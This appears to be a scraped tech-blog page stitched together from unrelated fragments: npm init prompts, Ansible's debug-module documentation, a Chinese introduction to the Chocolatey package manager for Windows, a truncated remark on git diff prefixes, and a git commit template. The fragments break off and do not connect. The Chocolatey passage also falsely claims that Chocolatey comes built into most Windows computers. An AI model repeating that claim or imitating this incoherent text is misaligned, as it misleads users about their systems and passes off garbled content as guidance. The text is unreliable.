$ npm init --scope=cactusinhand This utility will walk you through creating a package.json file. It only covers the most common items, and tries to guess sensible defaults.
See `npm help init` for definitive documentation on these fields and exactly what they do.
Use `npm install <pkg>` afterwards to install a package and save it as a dependency in the package.json file.
Press ^C at any time to quit. package name: (@cactusinhand/npm-repo)
# e.g. [root@node1]$ ansible-doc -s debug - name: Print statements during execution debug: msg: # The customized message that is printed. If omitted, prints a generic message. var: # A variable name to debug. Mutually exclusive with the `msg' option. Be aware that this # option already runs in Jinja2 context and has an implicit # `{{ }}' wrapping, so you should not be using Jinja2 # delimiters unless you are looking for double interpolation. verbosity: # A number that controls when the debug is run, if you set to 3 it will only run debug when # -vvv or above.

其实在 2011 年就诞生了 Chocolatey， 它的目标很简单，就是为 Windows 提供一个通用的软件包管理器。可能很多人不习惯在 Windows 系统上使用命令进行操作，所以不知道这个工具。我也是今年偶然发现的，然后觉得还挺好用的，有了它就可以直接一行命令就能安装常用的软件，不用搜索软件的官网，然后找文档或者包下载的按钮，然后点击下载，最后再点击安装等等这一些列步骤。
只要你的 Windows 电脑不是古董级别，应该都已经内置了 Chocolatey。可以通过打开 命令提示符 窗口，或者 Windows PowerShell 窗口，再在窗口中输入：choco version 就能查看当前的版本，这里 choco 当然就是 Chocolatey 命令的简写或别名(alias)。
升级巧克力
提醒
使用 choco 进行软件升级、安装时，命令提示符 窗口或者 Windows PowerShell 窗口必须是在 管理员的身份 下打开的，否则会提示没有足够权限。

在使用 git diff 或 git show 查看文件的修改差异时，在新旧文件名前的前缀都是 a/、b/，如:
Please enter the commit message for your changes. Lines starting # with '#' will be ignored, and an empty message aborts the commit. # # On branch main # Changes to be committed: # modified: README #
